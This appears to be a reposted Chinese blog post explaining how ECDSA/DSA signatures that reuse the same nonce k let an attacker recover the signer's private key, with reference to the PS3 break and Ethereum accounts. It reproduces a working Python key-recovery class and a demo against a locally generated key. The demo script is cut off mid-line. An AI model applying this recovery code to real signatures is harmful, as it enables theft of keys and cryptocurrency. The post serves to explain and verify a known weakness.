使用K值相同的ECDSA签名反推以太坊账户私钥
Posted Zero_Nothing
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了使用K值相同的ECDSA签名反推以太坊账户私钥相关的知识,希望对你有一定的参考价值。
一、背景
前段时间某项目遭遇黑客攻击, 官方公布是因为重复使用相同k
值的ECDSA签名导致私钥被反推泄漏(这里k
值相同就是签名结果的r
值相同)。私钥能被反推?笔者赶快看了一下相关文章,在特定条件下的确可以反推,并且六年前就有人提出这个问题了,看来笔者是孤陋寡闻了。为了弄清楚这个流程,必须亲自验证一下,因此笔者先整理了一下网上的资料,然后就和其它人一起研究,在本地环境模拟了这个反推过程。
注:这里反推私钥的条件还是很苛刻的,平常我们使用时大可不必担心这个问题。
索尼 PS3 被破解
k值重复漏洞最早是发生在索尼的 PS3主机被破解事件。索尼 PS3最初的安全目标是使用椭圆曲线数字签名算法(ECDSA)来保护系统的安全, 然而索尼在使用椭圆曲线数字签名算法(ECDSA)进行签名处理时,使用了固定的k值。2010年的在fail0overflow大会上, 黑客组织fail0overflow展示了索尼ECDSA的部分代码,发现他们让种子的值保持4, 随后利用这个漏洞来反向推导获得了私钥从而实现了完全破解。
ECDSA 在区块链的广泛应用
因为比特币使用 ECDSA 签名算法,ECDSA加密区块链中被广泛使用,包括以太坊。 其中大多数区块链交易的签名算法就是使用ecdsa签名算法,因此了解一下这个K
值重复漏洞还是有必要的。
二、漏洞分析
ECDSA签名具体怎么生成我们不必弄清楚,有兴趣的读者可以自行百度一下相关文章,我们会用就行了。
当生成ECDSA签名时,需要保证k
值是保密且唯一, k
值重复可能会导致私钥泄露。
使用重复的k时(消息需要不同), 可以反推出签名的私钥。 假定当前有两个不同消息的哈希散列值(z1, z2)和它们的签名(r1, s1) 和 (r2, s2)以及椭圆区的领域参数。
-
首先注意到
r1 = r2
, 因为r
由k
值唯一确定的, 而k
是相同的。 -
然后计算
( s 1 − s 2 ) m o d n = k − 1 ( z 1 − z 2 ) m o d n (s_1 - s_2) \\mod n = k^{-1}(z_1 - z_2) \\mod n (s1−s2)modn=k−1(z1−z2)modn -
等式两边乘以k, 得到
k ( s 1 − s 2 ) m o d = ( z 1 − z 2 ) m o d n k(s_1 - s_2) \\mod = (z_1 - z2) \\mod n k(s1−s2)mod=(z1−z2)modn -
两边乘以 ( s 1 − s 2 ) − 1 (s_1 - s_2)^{-1} (s1−s2)−1,
k = ( z 1 − z 2 ) ( s 1 − s 2 ) m o d n k = (z_1 - z_2)(s_1 - s_2) \\mod n k=(z1−z2)(s1−s2)modn
利用上面的等式之用两个哈希值和对应的签名就可以计算k值。 现在用 s 的公式来提取私钥
s
=
k
−
1
(
z
+
r
d
S
)
m
o
d
n
d
S
=
r
−
1
(
s
k
−
z
)
m
o
d
n
s = k^{-1} (z + rd_S) \\mod n \\\\ d_S = r^{-1}(sk - z) \\mod n
s=k−1(z+rdS)modndS=r−1(sk−z)modn
公式我也看得不是很明白,先不管它了。
三、使用Python进行反推验证
GitHub 已经有人开放了使用Python进行反推私钥的工具(4年前就放上去了), 可以利用这个工具来验证重复的k值是否可以反推账户私钥。不过该反推工具是针对的比特币账户,如果用到以太坊需要修改或者重新编写。
https://github.com/tintinweb/DSAregenK
DSAregenK 类的可用于反推, 将公钥在init
时传入, 并将两个相同k
值的签名相关的消息的哈希值, 签名的r和s值通过add函数添加进去, 然后后运行 run
方法就可以得到私钥的值。
反推代码实现,需要在python2的环境下安装相应的库:pip install pycrypto
先创建一个 DSAregenK.py
,内容如下:
'''
Created on 15.01.2013
@author: martin
'''
from Crypto.Random import random
from Crypto.PublicKey import DSA
from Crypto.PublicKey.pubkey import *
from Crypto.Hash import SHA
from Crypto.Util.number import bytes_to_long
import logging
LOG = logging.getLogger('DSAregenK')
class DSAregenK(object):
def __init__(self,pubkey):
self.samples = {}
self.pubkey = pubkey
LOG.debug("+ set: pubkey = %s"%pubkey)
def add(self,signature,hash):
'''
sample is of format ( (r,s),hash(data), pubkey)
signature params,hashed_data
individual pubkey
'''
(r,s) = signature
if not isinstance(hash,long):
hash = bytes_to_long(hash)
sample = bignum(r),bignum(s),bignum(hash) #convert .digest()
if not self.samples.has_key(r):
self.samples[r]=[]
self.samples[r].append(sample)
#LOG.debug("+ added: sample = %s"%repr(sample))
def run(self,asDSAobj=False):
# find samples with equal r in signature
for c in self._find_candidates():
LOG.debug("[*] reconstructing PrivKey for Candidate r=%s"%c)
(k,x) = self._attack(self.samples[c])
if asDSAobj:
yield self._construct_DSA((k,x))
else:
yield (k,x)
def runBrute(self,asDSAobj=False,maxTries=None):
for r,samples in self.samples.iteritems():
LOG.debug("[*] bruteforcing PrivKey for r=%s"%r)
for sample in samples:
LOG.debug("[** - sample for r=%s]"%r)
try:
(k,x) = self._brute_k(sample,maxTries=maxTries)
if asDSAobj:
yield self._construct_DSA((k,x))
else:
yield (k,x)
except Exception, e:
logging.error(e.message)
def _find_candidates(self):
'''
candidates have same r
'''
candidates = []
for r, vals in self.samples.iteritems():
if len(vals)>1:
candidates.append(r)
return candidates
def _attack(self,samples,q=None):
'''
samples = r,s,long(hash)
'''
q = q or self.pubkey.q
rA,sA,hA = samples[0]
k_h_diff = hA
k_s_diff = sA
first = True
for r,s,hash in samples:
if first:
first=False
continue #skip first one due to autofill
k_h_diff -=hash
k_s_diff -=s
k = (k_h_diff)* inverse(k_s_diff,q) %q
x = ((k*sA-hA)* inverse( rA,q) )% q
LOG.debug("privkey reconstructed: k=%s; x=%s;"%(k,x))
return k,x
def _construct_DSA(self,privkey):
k,x = privkey
return DSA.construct([self.pubkey.y,
self.pubkey.g,
self.pubkey.p,
self.pubkey.q,
x])
def _attack_single(self,hA,sigA,hB,sigB,q=None):
q = q or self.pubkey.q
rA,sA=sigA
rB,sB=sigB
k = (hA - hB)* inverse(sA -sB,q) %q
x = ((k*sA-hA)* inverse( rA,q) )% q
return k,x
def _brute_k(self,sample,p=None,q=None,g=None,maxTries=None):
'''
sample = (r,s,h(m))
'''
# 1 < k < q
p = p or self.pubkey.p
q = q or self.pubkey.q
g = g or self.pubkey.g
r,s,h = sample
k= 2
while k< q-1:
if maxTries and k >= maxTries+2:
break
# calc r = g^k mod p mod q
if r == pow(g,k,p)%q:
x = ((k*s-h)* inverse( r,q) )% q
return k,x
k+=1 #next k
raise Exception("Max tries reached! - %d/%d"%(k-2,maxTries))
if __name__=="__main__":
import timeit
code = '''
q=1265463802023530275326394511026959111076549652869
g=84281203019815261389723351787997895766686782784042902057749572710486802455287943930039236293081120645856643138985466753439864717645302485601757623822904847629009405411053311508933914054126213326746234712047394770958935994092610093437274339721778386724204641098513873421986583220412010274767817275626531483349
k =155862235091383259018358242245666680486589863514
p = 89884656743115801565356913078863255627534578994836271275156367742905551420240587387886756001391175742871349954773362607747817656666949585098232008455275447903314834915566557308039663748037501217455176261144977713143895613500344330528376806523498586766563054718557062834734452717511314328898484995977406013223
r,s = (808569543022789887955253071826070582321521360626L, 144740468085989213718785495673981993705197878815L)
pow(g,k,p)%q
'''
trials = 2**15
print trials," trials =>", timeit.timeit(code,number=trials),"s "
然后再创建一个Sample.py
,内容如下:
from Crypto.Random import random
from Crypto.PublicKey import DSA
from Crypto.Hash import SHA256
from DSAregenK import DSAregenK
def signMessage(private_key, msg, k=None):
k = k or random.StrongRandom().randint(1, private_key.q-1)
h = SHA256.new(msg).digest()
r, s = private_key.sign(h, k)
return msg, h, (r,s)
if __name__ == "__main__":
secrect_key = DSA.generate(1024)
print("generate private_key = ", hex(secrect_key.x))
k = random.StrongRandom().randint(1, secrect_key.q - 1)
mA = signMessage(secrect_key, "message 1", k)
# same k value
mB = signMessage(secrect_key, "message 2", k)
# use different k value
k = random.StrongRandom().randint(1, secrect_key.q - 1)
mC = signMessage(secrect_key, "message 2", k)
pub_key = secrect_key.publickey()
print("=========================")
print("start recoved same k value")
# recover private key with the two digests that use same k value
a = DSAregenK(pubkey=pub_key)
for m, h, (r,s) in (mA, mB):
a.add((r, s), h)
rets = a.run(asDSAobj=True)
print("##: DSAregenK run get private key num: ", len(list(rets)))
successed = False
for re_privkey in a.run(asDSAobj=True):
print("try recoveing:", hex(re_privkey.x))
if re_privkey.x == secrect_key.x:
successed = True
print("recoved private_key = ", hex(re_privkey.x))
break
print("Is recovign private key correct with same k value: ", successed)
print("=========================")
print("start recoved different k value")
# try recover private key with the two digests that use different k value
a = DSAregenK(pubkey=pub_key)
successed = False
for m, h, (r,s) in (mA, mC):
a.add((r, s), h)
rets = a.ru以上是关于使用K值相同的ECDSA签名反推以太坊账户私钥的主要内容,如果未能解决你的问题,请参考以下文章